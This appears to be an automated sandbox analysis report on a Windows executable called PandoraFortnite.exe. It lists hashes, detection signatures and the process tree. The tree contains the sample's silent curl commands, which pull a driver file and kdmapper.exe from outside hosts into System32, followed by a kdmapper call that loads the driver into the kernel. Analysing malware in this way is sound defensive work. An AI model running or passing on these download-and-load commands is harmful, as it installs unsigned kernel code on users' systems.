7251d614e36aedb7f87a210ef61632e0b53d4a8239c00b24b6b07f0860a4d2c4

Analysis

max time kernel
148s
max time network
130s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PandoraFortnite.exe
Size 5.7MB
Sample260706-sr92cacy8r
SHA256 7251d614e36aedb7f87a210ef61632e0b53d4a8239c00b24b6b07f0860a4d2c4
MD5 cd662d54f0fdb9e8ee2e739c8f5a96d4
SHA1 b2b4666b63d25bc4f325f1453948fbf98be84aaf
SHA512 7817af528891353652f397b6f10ab3651da3505f11b07c08926b70f0a513db7348b95997d138c22c1492ea2bbff5c6522282218abfb63f047cb5e0f2f798abc5
SSDEEP 98304:dSwWWFADNi/NzYFqO+gRmdgM+M52eH1xLRCbxHWszvMGhvjWbNW:dpjADo/NEEGg6Mb52e8gszRgb
TLSH
T16E5622AA61983718C01BC8745533AD45B2F6521F0FE99ABA71DFFEC03BAE814D601F46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1320	kdmapper.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
11	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
6068	PandoraFortnite.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
6068	PandoraFortnite.exe
6068	PandoraFortnite.exe
1320	kdmapper.exe
1320	kdmapper.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 6068 wrote to memory of 1428	6068	PandoraFortnite.exe	89
PID 6068 wrote to memory of 1796	6068	PandoraFortnite.exe	90
PID 6068 wrote to memory of 984	6068	PandoraFortnite.exe	91
PID 984 wrote to memory of 5804	984	cmd.exe	92
PID 6068 wrote to memory of 1156	6068	PandoraFortnite.exe	94
PID 1156 wrote to memory of 2624	1156	cmd.exe	95
PID 6068 wrote to memory of 1320	6068	PandoraFortnite.exe	96
PID 6068 wrote to memory of 1512	6068	PandoraFortnite.exe	97
PID 6068 wrote to memory of 4736	6068	PandoraFortnite.exe	98
PID 6068 wrote to memory of 6128	6068	PandoraFortnite.exe	99

C:\Users\Admin\AppData\Local\Temp\PandoraFortnite.exe
"C:\Users\Admin\AppData\Local\Temp\PandoraFortnite.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://mohafmngioakodcbvyeu.supabase.co/storage/v1/object/sign/sussyah/DRIVER/x7ic4m.sys?token=eyJraWQiOiJzdG9yYWdlLXVybC1zaWduaW5nLWtleV8xYzg3YjFmNC1jMjM1LTQyY2YtODVhZi01N2MzOGUwNTZmYjciLCJhbGciOiJIUzI1NiJ9.eyJ1cmwiOiJzdXNzeWFoL0RSSVZFUi94N2ljNG0uc3lzIiwic2NvcGUiOiJkb3dubG9hZCIsImlhdCI6MTc4MzMwOTUxOCwiZXhwIjoxNzg1OTAxNTE4fQ.uocQfqJmhL95mbpN7YlRq5C1C_6GV7P5HBzuUTlVaYM --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\system32\curl.exe
    curl --silent https://mohafmngioakodcbvyeu.supabase.co/storage/v1/object/sign/sussyah/DRIVER/x7ic4m.sys?token=eyJraWQiOiJzdG9yYWdlLXVybC1zaWduaW5nLWtleV8xYzg3YjFmNC1jMjM1LTQyY2YtODVhZi01N2MzOGUwNTZmYjciLCJhbGciOiJIUzI1NiJ9.eyJ1cmwiOiJzdXNzeWFoL0RSSVZFUi94N2ljNG0uc3lzIiwic2NvcGUiOiJkb3dubG9hZCIsImlhdCI6MTc4MzMwOTUxOCwiZXhwIjoxNzg1OTAxNTE4fQ.uocQfqJmhL95mbpN7YlRq5C1C_6GV7P5HBzuUTlVaYM --output C:\Windows\System32\hobo.sys
    3⤵
    PID:5804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Drops file in System32 directory
    PID:2624
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:6128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

kdmapper.exe

Path C:\Windows\System32\kdmapper.exe
Size 150KB
SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
MD5 61e5aafec83b8c4d6b310dc54ed4c827
SHA1 fa0c68418265677b6d7ab4fe07a26340482dfb25
SHA512 7545ad1265c4871900357ecac0598a9db0fd8c627879726d9afe4b9344387df2270d761575de5c445503d2b859d50bd51f9c082fb96095186d9f3ab1ada5cc46
SSDEEP 3072:soRUjZEYLIDfVEDykwUmJTQSaMm5/6onTxIl4z:NUZEYLqf4jcWlTh
TLSH
T1D1E32A1797A5106EF1B7D6B9CAB24A11EB717C550B74D2CF135048BA0F22BD0BA3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/6068-0-0x00007FF665736000-0x00007FF665AAC000-memory.dmp

Download

memory/6068-2-0x00007FFE7B960000-0x00007FFE7B962000-memory.dmp

Download

memory/6068-1-0x00007FFE7B950000-0x00007FFE7B952000-memory.dmp

Download

memory/6068-7-0x00007FF665670000-0x00007FF666064000-memory.dmp

Download

memory/6068-8-0x00007FF665736000-0x00007FF665AAC000-memory.dmp

Download

memory/6068-9-0x00007FF665670000-0x00007FF666064000-memory.dmp

Download